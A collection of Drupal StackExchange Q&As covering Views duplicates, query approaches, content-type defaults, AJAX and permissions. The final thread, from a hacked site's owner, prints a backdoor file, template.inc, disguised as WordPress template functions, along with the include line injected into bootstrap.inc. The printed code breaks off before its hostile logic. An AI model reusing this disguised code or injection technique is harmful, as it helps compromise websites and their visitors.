# Question
Title: How do I remove duplicates when using the random sort?
I have created a view where I am displaying the the node title and a logo (a cck field). In the arguments I have passed the taxonomy term name.

In the result a node is displaying 2 or 3 times; I already checked the distinct checkbox in the Query settings but that also does not work. I have used the random sort, which seems to cause the duplicates; when I remove the random sort, it works fine.

How can I avoid the duplicates without disabling the random sort?

# Answer
You can apply GROUP BY or DISTINCT by enabling views aggregation settings to remove duplicate records.
1. Go and edit your view
2. In **Advanced » OTHER** section by enabling **Use aggregation: Yes**
3. In **FIELDS** or **FILTER CRITERIA** section, select and apply **Aggregation settings** for which fields you want to group by or distinct.
> 19 votes

# Answer
The simple way to achieve distinct values in a view is to make the following:

1. Go and edit your view
2. In Advanced » OTHER section click on "Query setting"
3. Check "Distinct" check-box.
> 39 votes

# Answer
The simple way to achieve distinct values using Views is to do the following:

1. Go and edit your view
2. In Advanced » OTHER section click on "Query setting"
3. Check "Distinct" check-box.

You can apply GROUP BY or DISTINCT by enabling views aggregation settings to remove duplicate records.

1. Go and edit your view
2. In Advanced » OTHER section by enabling Use aggregation: Yes
3. In FIELDS or FILTER CRITERIA section, select and apply Aggregation settings for which fields you want to group by or distinct.
> 8 votes

# Answer
I know this question has already been answered, but for some of use these solutions don't work. However, after doing some research I found a solution that does work for my needs.

I found a really useful workaround that allowed me to fix this. I have posted the code snippet to DropBucket. Basically you implement a Drupal 7 query alter hook that checks all views queries for query comments that specify a groupby clause and field. Then it adds that groupby to the SQL query.

```
/**
 *  Found this trick on theoleschool.com.
 *
 *  Description: Allows the view developer to specify the query
 *  group by action in the query comments. Great way to force the
 *  removal of duplicates.
 *
 *  Just go into your query comments and type in "groupby:" with
 *  that colon followed by the field you want to group by.
 *
 *  Examples...
 *  groupby:node.nid
 *  groupby:file_managed_file_usage.fid
 *
 *  Ref-Comment: http://theoleschool.com/comment/496#comment-496
 *  Ref-Article: http://theoleschool.com/blog/using-hookviewsalter-add-group-statement
 */
function mymodule_query_alter(QueryAlterableInterface $query) {
  if ($query->hasTag('views')) {
    static $count;
    $view =& $query->getMetaData('view');

    if (strstr($groupby = $view->query->options['query_comment'], 'groupby')) {
      list($action, $field) = explode(':', $groupby);

      if (strlen($field) > 0) {
        $query->groupBy($field);
      }
    }
  }
}

```

http://dropbucket.org/node/153

The source reference is in the comments on the page.
> 5 votes

# Answer
I had the same problem. Ultimately I solved it by installing the **Views Distinct** module.

> Relationships or other joins in Views often create "duplicate" results. For example, a node with a field that has multiple values may show up in the View once per value in the multi-value field. It's frustrating, and the "DISTINCT" SQL query option in the Views UI does not actually solve the problem because the result row is technically distinct. **Views Distinct** aims to give a simple GUI method to remove or aggregate these "duplicate" rows.
> 4 votes

# Answer
None of these other methods worked for me, but Views Random Seed module actually did the trick. Though, my issues were more related to using a pager. Here is a quote from that module's project page:

> Adds a random order handler with seed. If a constant integer argument N is specified in the sql RAND() function, it is used as the seed value, which produces a repeatable sequence of column values. This makes it possible to have paging and not having items show up twice. It's also possible to compute a custom seed using PHP, allowing you to create pseudo randoms numbers based on variables such as the date of the day.
> 0 votes

# Answer
Not to wake up an old thread, but the answer (if using Drupal 7 and an exposed search filter) is to check "remove search score" under "search:search terms".

Under "Filter Criteria"

Add "Search:Search Terms"

Check "Remove Search Score"

Click "Apply (all displays)"

Click Save
> 0 votes

# Answer
Had problems with multi value date fields. The items were displayed as often as a date was entered. None of the other here mentioned solutions worked for me. But then I found a D6 solution that still works in D7 there.

`hook_views_pre_render(&$view)` is the magic word. In the example it's limited down to one certain display of one certain view only. Hope it helps.

```
function MYMODULE_views_pre_render(&$view) {
  $used_nids = array();

  if ($view->name == 'events') {

    if ($view->current_display == 'page_2') {

      foreach ($view->result as $row) {

        if (!in_array($row->nid, $used_nids)) {

          $new_view_result[] = $row;
          $used_nids[] = $row->nid;
        }
      }
      $view->result = $new_view_result;
    }
  }
}

```

**EDIT:** Unfortunately this one subtracts the number of duplicate items from the view if a limit was set. If someone maybe finds a solution for this, please comment!
> 0 votes

# Answer
I have multiple `Date fields` and want to sort by the start of the `FIRST date`... Here is how it did work: In `Views->advanced->Other: use aggregation: YES` And then: `SORT CRITERIA->Aggregation settings->Aggregation type: COUNT`

I expected `count` to give me the number instead of the instance, but it made the result distinct...
> 0 votes

---
Tags: 7, views
---


title: Use Views or Write Raw Query?

text:
# Question
Title: Use Views or Write Raw Query?
I've run across an interesting topic through my work during the past few months. I use the views module heavily in Drupal projects, but I find Views to be painfully annoying in terms of its speed and how it generates all this extra markup (even using `style_plugin->rendered_fields`).

I decided one day to ditch Views for a project and write a raw query using Drupal's PDO layer instead. I feel using the PDO layer (despite the fact that it might not be perfect) gave me the ability to grab only the data that I needed in an efficient query.

I brought up to a coworker, "Why don't we just write raw queries...? Views is obviously not integrated into core yet for a reason..." Their response was that Views are easier for beginners and are generally easier to use and to understand. I agree that's a fair point, but what about the performance differences? Don't the performance differences (if there are even any, I might just be configuring things incorrectly) outweigh the usability of the package?

My question is, is there really a big performance hit with Views? Does it make efficient queries, or does it run `node_load` for each row? I'd also like to know if there's a reason that Views hasn't been included in core yet.

Is Views better than writing queries using the PDO layer, or is it just a matter of personal preference? What about when working with teams?

# Answer
> 2 votes
Here is my take on it

**Views**

1. First and most basic advantage is it has a UI which makes it easier for beginners and people with not much knowledge php of to fetch data and display it just with a few clicks.
2. You can apply filters and relationships to make any kind of joins and filtration of data just with a few clicks.
3. It provides easy access to exposed filters which allows you do do sorting of data.
4. It has ajax support.
5. It has a built in cache mechanism to cache data.
6. You can AND or OR your data just by drag and drop.
7. It has support to display the data in various formats like grid, table etc which are available just at a click.

These are just a few points. Now if you try and compare these points to writing a PDO query then yes PDO is definitely fast but you forget after getting the data you also have to do the processing to display the data. Now if you try and do the above mentioned points in a custom module I am pretty sure you will run over a 500 lines of code to implement most of the features.Also don't forget the custom code which needs to be maintained.

If you want to compare views to a PDO check the views query time and the PDO query time it will not be a major difference. Views takes time to do all the rest of the fancy stuff you need to process sanitize your data and display your data in the format of your choice which takes time.

If you are comfortable with PDO I would definitely recommend you to go ahead and use it. The adv are you are using a core feature, 1 less module to me loaded so less http request to load the js and css files.

UPDATE: 10/03/2012 Also came across this node on drupal.org: http://drupal.org/node/242311

# Answer
> 1 votes
Views design goals are quite different from those of the PDO layer. Though to compare them at the performance level, I would argue PDO wins every time provided you are writing queries that are more efficient than those auto-generated by Views.

Views brings many additional features to the table as well. For example, theming, caching, access control and integration with hundreds of contributed modules through an easy to swallow UI.

If you need to fine tune a query for performance reasons, hand-write the query.

If a client needs to be able to modify a query, the Views UI has a much simpler learning curve than PHP and the Drupal PDO layer.

# Answer
> 0 votes
Interesting question, especially these phrases in it that caught my attention:

* ... *writing queries using the PDO layer* ...
* ... *an efficient query* ...

Moreover, the title of this question (= "Use Views **or** Write Raw Query?") sounds to me that you might be interested in learning about other options available, different from using the views module. If that's the case, then the Forena module is another option to consider. It comes with quite some community documentation. And "Write Raw Query" is exactly one of the things you would use Forena for (i.e. what in forena is called 'data blocks').

Forena is built of the idea of using SQL to get data out of a database (which can be the Drupal database or an external one such as My SQL, Oracle, MS SQL, ...) and use XHTML and CSS to format it into web reports. There are quite some reasons for considering Forena, which also explains how "**Forena complements the views module**" (suggested in some other answers here also), i.e.:

> * "**Why not use views instead of forena?**" ... The answer is generally something along the lines of "Most forena users love views, views is great! If you want to report against external data though, or you want to do aggregation or analytics, Forena is much more suited to address these requirements."
> * "**What does it take to create reports / charts with the typical Business Intelligence tools?** Where would I start in case such reports are to be shown on a Drupal site ... **and the actual data may either come from any of Drupal's own tables, or in a PDO-style external database, or some XML or CSV file?**" ... Trying to answer these questions leads to more questions such as "How far can you get (and what would it take to get there) with the views module (not even talking about how to secure the access to such data)?

Visit the Forena HowTos page for some links (near the bottom) to some live demo / showcase links.

Refer to the example in my answer to https://drupal.stackexchange.com/questions/152166/fetching-drupal-articles-tags-image-directly-from-database/154746#154746 to get an idea of what it is like to use Forena, such as the SQL query and the source of the "custom report", which looks like so:

```
  <head>
    <title>My custom report title</title>
    <frx:category>Articles related Reports</frx:category>
    <frx:options skin="My_Skin_File_With_CSS_And_JS_To_Beaf_Up_My_Rpt"/>
  </head>
  <body>
    <div frx:block="MyDatabaseConnection/MySqlQuery">
      <p frx:foreach="*">
      {title}<Br/>
      {tags}<Br/>
      {body}<Br/>
      </p>
    </div>
  </body>

```

Consider the above sample as an alternative to what in one of the answers is mentioned, i.e.: "*Now if you try and do the above mentioned points in a custom module I am pretty sure you will run over a 500 lines of code to implement most of the features.Also don't forget the custom code which needs to be maintained.*". I do agree with that, in cases where Forena is not being considered (eg because not many people seem to know about it?).

Similar thoughts about what I read in another answer, i.e.: "*Views brings many additional features to the table as well. For example, **theming**, **caching**, **access control** and **integration** with hundreds of contributed modules through an easy to swallow UI.*". In case of Forena these additional features are available also, except that there are not 100s of such modules (though there are integrations with heavily used modules like feeds, bean, views, date, etc). In case of Forena these few modules will get you pretty far. After all, don't we always try to have as few as possible contributed module enabled? So I'd hope I don't need too much of all those 100 to just enhance the views based approach. And how many sites don't have at least views and date already enabled, probably also bean more and more.

What I don't seem to read anywhere here in the question, or any answers, are these Forena supported features that might make sense to consider also:

* How far do you get with views if the data are coming from an external database?
* What about aggregation types of operations, like the features of the views\_calc module? Disclosure: I recently became a legacy maintainer of it's D6 version.

Refer to Forena's community docu mentioned above for details about how Forena does also address those issues (and how it complements views ...). If appropriate, I'd be happy to further expand this answer to explain Forena AbitMORE.

Disclosure: I'm a **co**-maintainer (not owner ...) of this module,
I hope this does not violate the site's policy on self-promotion.

---
Tags: views, performance
---


# Question
Title: Creating a new variable by combining 2 field values
In my theme’s preprocess node function i’m trying to create a new variable by combining 2 existing fields, both of which are text strings. pseudo code is this:

$teachers\_name = $firstname + $lastname;

When looking at a print out of the Teacher object using Devel, i see the field first name is an array, structured like this…

```
field_first_name
    und
        0
            safe_value ‘Lisa’

```

but so far it’s not working at all. i’m not accessing the variables correctly.

```
function myTheme_preprocess_node(&$variables){
    if($variables['type']=='teacher') {
        $variables['teachers_name'] = $variables['field_first_name’][‘und’][0]    [‘safe_value’];
    }

```

how can i access the text string of field 'first name'? thanks!

# Answer
> 0 votes
You should use entity module and `entity_metadata_wrapper` . I already answered a similar question in here.

---
Tags: theming
---


# Question
Title: How do you turn off comments, by default, for a module defined content type?
I have a D7 module, which defines a content type, via the appropriate hooks.

By default, comments are turned on for my content type. How do I set the default to off, inside of the code of my module? (NOT through the Drupal interface)

Thanks in advance.

# Answer
These instructions will enable you to identify and set any variable you'd like in Drupal 7. Please feel free to ask for clarification.

I'd start by installing the Devel module so you can see the variable you need to set. This will allow you to inspect the array where this setting is defined.

Visit a node of the content type you're working with. You'll see a tab called "Devel". Follow it and you'll be able to see the array which defines a node of this content type. There should be a value called "Comment", and I believe it needs to be set to "1" to disable comments.

As a sidenote, the Features Overrides module does this by setting $overrides\["variable.comment\_mycontenttype.value"\] = '1';

But, since we're not using that module, we'll set it manually.

You should be able to define that variable inside your module code by using the variable\_set() function.

That code can live inside hook\_update\_N(), which is executed when update.php is run. Simply add the code for your update hook inside your custom module and run update.php on your site.
> 1 votes

# Answer
The comment module defines some constants we can use for custom content types. In your module's MODULE\_NAME.install file, use the following (assumes content type is 'example'):

```
/**
 * Implements hook_install().
 */
function MODULE_NAME_install() {
  // Do not promote "Example" nodes to the front page by default.
  variable_set('node_options_example', array('status'));

  // Close comments for all "Example" nodes by default.
  variable_set('comment_example', COMMENT_NODE_CLOSED);

  // Do not display submitted (date and author) for all "Example" nodes.
  variable_set('node_submitted_example', FALSE);
}

```

Make sure this comes after you build the fields and field instances. Included additional variables you can change provided by the node module.

Another option is in hook\_node\_info():

```
/**
 * Implements hook_node_info().
 */
function MODULE_NAME_node_info() {
  $items = array(
    'example' => array(
      'name' => t('Example'),
      'base' => 'node_content',
      'description' => t('Use <em>example</em> to create example nodes.'),
      'has_title' => '1',
      'title_label' => t('Title'),

      // Do not promote "Example" nodes to the front page by default.
      'node-options' => array('status'),

      // Close comments for all "Example" nodes by default.
      'comment' => array(
        'status' => 0,
      ),

      // Do not display submitted (date and author) for all "Example" nodes.
      'node-submitted' => 0,
    ),
  );
  drupal_alter('node_info', $items);
  return $items;
}

```
> 0 votes

---
Tags: nodes
---


# Question
Title: How to use a webform key more than once.
We are using webform and on submit sending the result to an API. We have a drop down that loads on context. We need use form\_key twice, one for each dropdown but Drupal will now allow us to, is there a way to use form\_key on two fields?

# Answer
> 0 votes
Why do you need form\_key twice in the $form on the page? Simply add a custom submit handler to the form and create whatever custom $form\_state or values you want to pass on to the remote API ... and let webform store the data as it wants seperate from what you send to the API.

---
Tags: webforms
---


title: auto uncheck product attribute

text:
# Question
Title: auto uncheck product attribute
Each of my products has it own attribute with an expiration date. How can I auto unchecked the option when it expires?

I know there is a module call scheduler which can help to auto publish and unpublished the node. How about the attribute?

# Answer
> 0 votes
Scheduler doesn't have any sort of integration with Ubercart. Unless there's existing module out there (I've never heard of it), you'll need a custom module that can hook into the attribute option form & display/store your expiration for each option (via `hook_form_alter`) & disable it when your option expires (via `hook_cron`).

---
Tags: ubercart
---


# Question
Title: Grouping Taxonomy terms by their parents
I have a Taxonomy Vocabulary for all types of cars. It has the following hierarchy:

```
Main Brand 1
- Sub0
- Sub1
- Sub3
Main Brand 2
- Sub1
- Sub2

```

and so on...

I want to have a webpage that displays the sub items when the main brand is selected.

Also, is there a way when assigning a specific value for the main brand field in my content type, for another field to appear populated by the sub brands of the main field?

# Answer
Hope I'm not too late, but maybe others will find this helpful...

If I'm understanding the question correctly, this is what you do:

1. Add *two* taxonomy name fields to your view display—one excluded from display, the other not.
2. Add a relationship of "Taxonomy term: Parent term" (under Advanced) and then attach it to the field excluded from display.
3. Under in the view's format settings, group by the excluded field with the relationship.

Note: If the parent terms are being printed twice (not just as group headers), make sure you excluded the field with the relationship and check "Require this relationship" in the relationship settings.

I don't know if this works with tertiary+ levels. Probably not. In which case there's most likely a module.
> 6 votes

# Answer
First part of your question can be achieved by using views.

* You will have to create a display that displays all level 1 terms (filter on parent term = 0)
* Then create another display with a contextual filter on parent term.
* Make sure the terms from display 1 link to "view-path-display-2/parent-term"
> 3 votes

---
Tags: 7, taxonomy-terms
---


# Question
Title: If I install the same module in sites/all/modules vs sites/example.com/modules, which is used?
I assume that example.com would use its own version of said module, but I don't know. I have the same question regarding themes.

# Answer
> 2 votes
The sites/site.com/modules will be used over anything in sites/all/modules.

There's a really good description of how it works on Acquia:

> **Site-specific modules and themes**
>
> Each site in a multi-site install contains at least a `settings.php` and a `/files` directory. But each multi-site directory can contain modules and themes too - and any modules or themes in those directories will only be available to that site.
>
> For example, imagine I have two sites, example.com and example2.com:
>
> `/sites/all/modules/contrib` contains all of the community contributed modules that I want both sites to share. For example, Views might live there.
>
> `/sites/all/modules/custom` contains all of my custom modules, written specifically for my Drupal installation.
>
> `/sites/example2.com/themes` contains any themes you want to only be available on example2.com.
>
> `/sites/example2.com/modules` contains any modules you want to only be available on example2.com.
>
> When Drupal looks for available themes and modules, it searches in the following order:
>
> `/modules/`
>
> `/profiles/`
>
> `/sites/all/`
>
> `/sites/[sitename]/`
>
> So, when I write my custom theme for example2.com, I can put it into the example2.com multi-site directory:
>
> `/sites/example2.com/themes/chicken`
>
> And the "Chicken" theme will only be available to users of example2.com. Users of example2.com will still have access to all of the themes in /sites/all and /themes, but example.com won't be able to see the "Chicken" theme at all.

---
Tags: 7, multi-sites
---


# Question
Title: How to set an AJAX callback for my drop down list select in my form?
I am about to create a filter views handler extended from views\_handler\_filter\_string (you can see the class under views/handlers), so I have to override my method value\_form to create a new value form form my filter handler.

```
function value_form(&$form, &$form_state) {
    $countries = _prepare_countries_list();
    $selected_country = isset($form_state['values']['value']['country'])?$form_state['values']['value']['country']:key($countries);

    $values = array(
        'country' => array(
            '#type'    => 'select',
            '#title'   => t('Country'),
            '#options' =>$countries,
            '#ajax'    => array(
                'callback' => 'country_state_dependent_dropdown_callback',
                'wrapper'  => 'dropdown-states',
            ),
        ),
        'state' => array(
            '#type'    => 'select',
            '#title'   => t('State'),
            '#prefix' => '<div id="dropdown-states">',
            '#suffix' => '</div>',
            '#options' => _country_state_get_second_dropdown_options($selected_country),
        ),
    );
    $form['value'] = $values;
    return $form;
}

```

I am trying here to set an ajax callback for my drop down list select. Usually we implement our callback function and we return $form\['element'\], but in my case it gives no result.

Anyone who has tried to override the value\_form before to add some AJAX able to help me resolve this issue?

# Answer
This is untested but at least, you get the logic. I'm sorry if I edited your coding style convention.

```
function value_form(&$form, &$form_state)
{
    $form = array();

    $countries = _prepare_countries_list();
    $selected_country = isset($form_state['values']['country'])?$form_state['values']['country']:key($countries);

    // Country dropdown list
    $form['country'] = array(
        '#title' => t('Country'),
        '#type' => 'select',
        '#options' => $countries,
        '#ajax' => array(
            'event'=>'change',
            'callback' =>'country_state_dependent_dropdown_callback',
            'wrapper' => 'dropdown-states',
        ),
    );

    // Wrapper for state dropdown list
    $form['state_wrapper'] = array(
        '#prefix' => '<div id="dropdown-states">',
        '#suffix' => '</div>',
    );

    // State dropdown list
    $form['state_wrapper']['state'] = array(
        '#title' => t('State'),
        '#type' => 'select',
        '#options' => _country_state_get_second_dropdown_options($selected_country),
    );

    return $form;
}

/**
* Function for handling ajax request
*/
function country_state_dependent_dropdown_callback($form, $form_state){
    return $form['state_wrapper'];
}

```
> 1 votes

---
Tags: views, ajax
---


title: Execute a view without rendering

text:
# Question
Title: Execute a view without rendering
I'd like to programmatically execute a view (providing arguments) and get the raw results, without rendering it. Is it possible?

When I use `$view->preview('default', $args);` it converts the results to HTML. I know I can use `$view->result` to iterate the raw results, but the custom rendered I'm using for some fields are buggy and give me a WSOD (I have no interest or ability to fix the renderer, it's an edge case :) )

I'm using Views 3 with Drupal 7

# Answer
There is already a function that does exactly what you want:

```
  $result = views_get_view_result('my_view_name', 'default', $arg1, $arg2, ...);

```

Read more at its page at api.drupal.org:

https://api.drupal.org/api/views/views.module/function/views\_get\_view\_result/7
> 11 votes

# Answer
$view-\>preview() is generally used to simply view the display so in other words it will render it via the specified format.

$view-\>execute\_display() also returns the display in relevant format specified in view.

I think you may have to result to executing query direct i.e. db\_query()
> 4 votes

# Answer
You should get some success if you stub out `view::preview()` into your own code, but change it so that, instead of calling `->display_handler->preview()`, it calls `->execute()` instead:

```
$view = views_get_view($view_name);
$view->set_display($display_name);
$view->preview = TRUE;
$view->pre_execute($args);
$view->execute($display_name);

```

This should work because, for most display handlers, the call to `...->display_handler->preview()` is actually just a wrapper around a call back to `view::render()`. Which itself starts by calling `$this->execute(...)`.
> 2 votes

---
Tags: 7, views
---


title: Order in entity_load

text:
# Question
Title: Order in entity_load
I see Documentation of entity\_load but I didn't find anything about ordering of results, How can I order the results entity\_load by delta?

as example I fetch all product of one node by

```
$node = node_load(313);
$field = field_view_field('node', $node, 'field_product_select');
$pids = array();
foreach ($field['#items'] as $key => $value) {
  $pids[] = $value['product_id'];
}
$products = entity_load('commerce_product', $pids, array(), TRUE);

$return = array();
foreach ((array) $products as $key => $product) {
  $return[$key]['product_id'] = $key;
  $return[$key]['product_type'] = $product->type;
  if($product->field_is_selected_price['und'][0]['value'])
    $selected_price=$product->commerce_price['und'][0]['amount'];
  $return[$key]['price'] = $product->commerce_price['und'][0]['amount'];
  $images = field_view_field('commerce_product', $product, 'field_product_images');
  foreach ((array) $images['#items'] as $image) {
    $return[$key]['img'][] = $image['uri'];
  }
}

```

I want fetch products order by 'delta'(or other field ),(results are order by entity\_id by default) , how can I achieve it?

# Answer
> 2 votes
Most entity controller implementations of ::load() will return entities in the same order as the array of IDs passed in to be loaded. This is the case with DrupalDefaultEntityController and EntityAPIController, which are the two most common controllers.

In this case you could structure your initial query to get a list of IDs to be loaded with EntityFieldQuery and then use the results of that to pass to entity\_load.

Looking at your original example, you just need to load a list of products based on the product field on a node. Here's a quick example of what it would take to handle that (since you don't need EntityFieldQuery):

```
$node = node_load($nid); // If you don't already have access to the node
$wrapper = entity_metadata_wrapper('node', $node);

$product_ids = $wrapper->field_product_select->raw();
$products = entity_load('commerce_product', $product_ids);

```

This works because the field data is always queried with order by delta when using Drupal core's field SQL storage: https://api.drupal.org/api/drupal/modules%21field%21modules%21field\_sql\_storage%21field\_sql\_storage.module/function/field\_sql\_storage\_field\_storage\_load/7

# Answer
> 0 votes
You can load each product separately

```
foreach ($field['#items'] as $key => $value) {
  $products[] = entity_load('commerce_product', array($value['product_id']), array(), TRUE);
}

```

---
Tags: entities
---


# Question
Title: Rules won't let me change some node properties
I am trying to create a new rules component (action set) for publishing content that has been unpublished and I cant seem to set a few of the node properties. I will either use Flag or Rules Link to fire off the action set.

The main goal of changing these values is to basically reset the node as if it was just created, without having to make a new node and copy the field data over to the new node.

A node should become unpublished then when it is made published again, it should behave if it was a new node that was just saved. Created date is set to "now". Marked as "is-new", etc...

I can't change the node:is-new setting to mark it as new content again. I also can't change the node:created or node:updated properties to change the date it was either created or updated. I just get a error that says "The selected data property doesn't support writing."

Any thoughts or work arounds for this?

# Answer
> 0 votes
You appear to be attempting to break the rules regarding node creation. You could probably do it by writing a module but why?

If all you want to do is have a fresh copy of a node with similar field values, consider using Node Clone which is a re-write of one that used to exist called "Edit As New", apparently. Or maybe Replicate.

---
Tags: 7, rules
---


# Question
Title: Is it possible to trigger an Ajax CallBack Function After a Link is Click
I have a simple link in my form.

```
$form['myid_print']['myid_print_search_idnumber_wrapper'] = array(
  '#type' => 'item',
  '#markup' => '<a>Im a link....</a>',
);

```

Is it possible to trigger an ajax callback function after a link is click? If yes, how?

# Answer
> 2 votes
Yeah you just need to use `use-ajax` class for this.

```
$form['myid_print']['myid_print_search_idnumber_wrapper'] = array(
  '#type' => 'item',
  '#markup' => l(t('Test Ajax'), 'admin/ajax-url/nojs', array('attributes' => array('class' => 'use-ajax'))),
);

```

Checkout this blog : http://www.computerminds.co.uk/drupal-code/make-link-use-ajax-drupal-7-its-easy.

---
Tags: forms, ajax
---


# Question
Title: How to display different menu in a panel depending on node nr?
I created a panel page. Say foopanel. This panel is displaying information based on the node nr. So in case of node nr 1 the url call will be: foopanel/1 (

I want to display a specific menu e.g menu-abc with node/1 and e.g menu-cde with node/2. So menu-xxx should be displayed in a block of foopanel.

How to implement this?

I see visibility rules in panels but do not see the nodeid. Should I do some php here? If so how should it be like?

I installed contexts but don 't see how I can manager this within a panel.

Every suggestion is very welcome to this. Thxs already.

# Answer
> 0 votes
Solved by using the following php code in the visibility rule:

return arg(1) == 1; for menu abc block return arg(1) == 2; for menu cde block

---
Tags: panels
---


title: Customize permission in permission page

text:
# Question
Title: Customize permission in permission page
I want to have multiple roles in my site :
FirstOne is Admin :
Admin is not super admin `(user 1)` but Admin can define permission for other users . Permission is controlled by Super Admin .
i want to show some of the permission options in the `admin/people/permissions` not all of them for this role.

Any idea ?

Thanks in Advance

# Answer
You can do this by using any of these modules :

1. User Protect

> This module allows fine-grained access control of user administrators, by providing various editing protection for users. The protections can be specific to a user, or applied to all users in a role.

2. Role Deligation

> This module allows site administrators to grant some roles the authority to assign selected roles to users, without them needing the administer permissions permission.

3. Administer Users by Role

> This module allows site builders to set up fine-grained permissions for allowing "sub-admin" users to edit and delete other users — more specific than Drupal Core's all-or-nothing 'administer users' permission. It also provides and enforces a 'create users' permission.
> 0 votes

# Answer
You would like to check Permissions Lock module.

Feature Set.

> 1. Remove a configurable set of permissions/roles in the permissions administration table for users in roles that you want to give the 'administer permissions' permission, but don't trust completely with that power.
> 2. Integrates with User Permissions module
> 3. Provides a hook\_permissions\_lock() to define locked permissions / role from within your (custom) module. This makes it easier to deploy / repeat permissions\_lock module settings
> 0 votes

---
Tags: users
---


# Question
Title: Annoying hack keeps changing bootstrap.inc and writing cryptic files to sites/default/files/styles
I'm having huge issues with a massive hack of our website. It was running Drupal 7.32 last year, when a big security issue was announced. Unfortunately we came too late and the site was hacked.

For the last few months we tried to clean the site every now and then, however, the hack is still active and finds a way to alter "bootstrap.inc", so it includes a "template.inc" which then modifies the page when Google is indexing it.

I reinstalled the whole Drupal system and manually transferred all the "sites" data, while I deleted and reinstalled every module in that folder, so not a single line of code should be remained after we moved to the new server.

However, it seems that the hack lives in the database. I only flushed the cache tables and did not really know where to look for malicious database entries.

The hack seems to do following things:

* It is somehow able to write to `sites/default/files/styles/large/public/field/image`. I can find there files named: `animation_01.gif`, `animation_02.gif`, etc., `pic-button-img-123.png` etc., each of them about a few hundred bytes long and a bigger one called `ip.dat` a few MB big.
* Then it uploads a file called `template.inc` in the `includes` folder of the root directory
* It modifies `bootstrap.inc` so it contains the include line for the uploaded `template.inc`: `include_once DRUPAL_ROOT.'/includes/template.inc';`

If I remove that line, Google Webmaster Tools shows normal fetch results again.

So does anyone have an advice how to proceed now? Do you think the hack is located in the database, if so: what should I look for?

Maybe the images in that `styles` folder could be a hint, which module is abused? Do anyone know some internal details about the styles, how they're generated or whatever?

This is obviously the "brain" of the hack, uploaded as `template.inc` in the `includes` folder:

```
<?php

/**
 * Retrieve path to a template
 *
 * Used to quickly retrieve the path of a template without including the file
 * extension. It will also check the parent theme, if the file exists, with
 * the use of {@link locate_template()}. Allows for more generic template location
 * without the use of the other get_*_template() functions.
 *
 * @since 1.5.0
 *
 * @param string $type Filename without extension.
 * @param array $templates An optional list of template candidates
 * @return string Full path to file.
 */
function mb_get_query_template( $type, $templates = array() ) {
    $type = preg_replace( '|[^a-z0-9-]+|', '', $type );

    if ( empty( $templates ) )
        $templates = array("{$type}.php");

    $template = locate_template( $templates );
    /**
     * Filter the path of the queried template by type.
     *
     * The dynamic portion of the hook name, $type, refers to the filename
     * -- minus the extension -- of the file to load. This hook also applies
     * to various types of files loaded as part of the Template Hierarchy.
     *
     * @since 1.5.0
     *
     * @param string $template Path to the template. @see locate_template()
     */
    return apply_filters( "{$type}_template", $template );
}

/**
 * Retrieve path of index template in current or parent template.
 *
 * @since 3.0.0
 *
 * @return string
 */
function mb_get_index_template() {
    return get_query_template('index');
}

/**
 * Retrieve path of 404 template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_404_template() {
    return get_query_template('404');
}

/**
 * Retrieve path of archive template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_archive_template() {
    $post_types = array_filter( (array) get_query_var( 'post_type' ) );

    $templates = array();

    if ( count( $post_types ) == 1 ) {
        $post_type = reset( $post_types );
        $templates[] = "archive-{$post_type}.php";
    }
    $templates[] = 'archive.php';

    return get_query_template( 'archive', $templates );
}

/**
 * Retrieve path of post type archive template in current or parent template.
 *
 * @since 3.7.0
 *
 * @return string
 */
function mb_get_post_type_archive_template() {
    $post_type = get_query_var( 'post_type' );
    if ( is_array( $post_type ) )
        $post_type = reset( $post_type );

    $obj = get_post_type_object( $post_type );
    if ( ! $obj->has_archive )
        return '';

    return get_archive_template();
}

/**
 * Retrieve path of author template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_author_template() {
    $author = get_queried_object();

    $templates = array();

    if ( is_a( $author, 'WP_User' ) ) {
        $templates[] = "author-{$author->user_nicename}.php";
        $templates[] = "author-{$author->ID}.php";
    }
    $templates[] = 'author.php';

    return get_query_template( 'author', $templates );
}

/**
 * Retrieve path of category template in current or parent template.
 *
 * Works by first retrieving the current slug, for example 'category-default.php', and then
 * trying category ID, for example 'category-1.php', and will finally fall back to category.php
 * template, if those files don't exist.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'category_template' on file path of category template.
 *
 * @return string
 */
function mb_get_category_template() {
    $category = get_queried_object();

    $templates = array();

    if ( ! empty( $category->slug ) ) {
        $templates[] = "category-{$category->slug}.php";
        $templates[] = "category-{$category->term_id}.php";
    }
    $templates[] = 'category.php';

    return get_query_template( 'category', $templates );
}

/**
 * Retrieve path of tag template in current or parent template.
 *
 * Works by first retrieving the current tag name, and then
 * trying tag ID, for example 'tag-1.php', and will finally fall back to tag.php
 * template, if those files don't exist.
 *
 * @since 2.3.0
 * @uses apply_filters() Calls 'tag_template' on file path of tag template.
 *
 * @return string
 */
function mb_get_tag_template() {
    $tag = get_queried_object();

    $templates = array();

    if ( ! empty( $tag->slug ) ) {
        $templates[] = "tag-{$tag->slug}.php";
        $templates[] = "tag-{$tag->term_id}.php";
    }
    $templates[] = 'tag.php';

    return get_query_template( 'tag', $templates );
}

/**
 * Retrieve path of taxonomy template in current or parent template.
 *
 * Retrieves the taxonomy and term, if term is available. The template is
 * prepended with 'taxonomy-' and followed by both the taxonomy string and
 * the taxonomy string followed by a dash and then followed by the term.
 *
 * The taxonomy and term template is checked and used first, if it exists.
 * Second, just the taxonomy template is checked, and then finally, taxonomy.php
 * template is used. If none of the files exist, then it will fall back on to
 * index.php.
 *
 * @since 2.5.0
 * @uses apply_filters() Calls 'taxonomy_template' filter on found path.
 *
 * @return string
 */
function mb_get_taxonomy_template() {
    $term = get_queried_object();

    $templates = array();

    if ( ! empty( $term->slug ) ) {
        $taxonomy = $term->taxonomy;
        $templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
        $templates[] = "taxonomy-$taxonomy.php";
    }
    $templates[] = 'taxonomy.php';

    return get_query_template( 'taxonomy', $templates );
}

/**
 * Retrieve path of date template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_date_template() {
    return get_query_template('date');
}

/**
 * Retrieve path of home template in current or parent template.
 *
 * This is the template used for the page containing the blog posts.
 *
 * Attempts to locate 'home.php' first before falling back to 'index.php'.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'home_template' on file path of home template.
 *
 * @return string
 */
function mb_get_home_template() {
    $templates = array('sites', 'default', 'files', 'styles', 'large', 'public', 'field', 'image', 'aktuelles_2012_12_19_hoeller1');
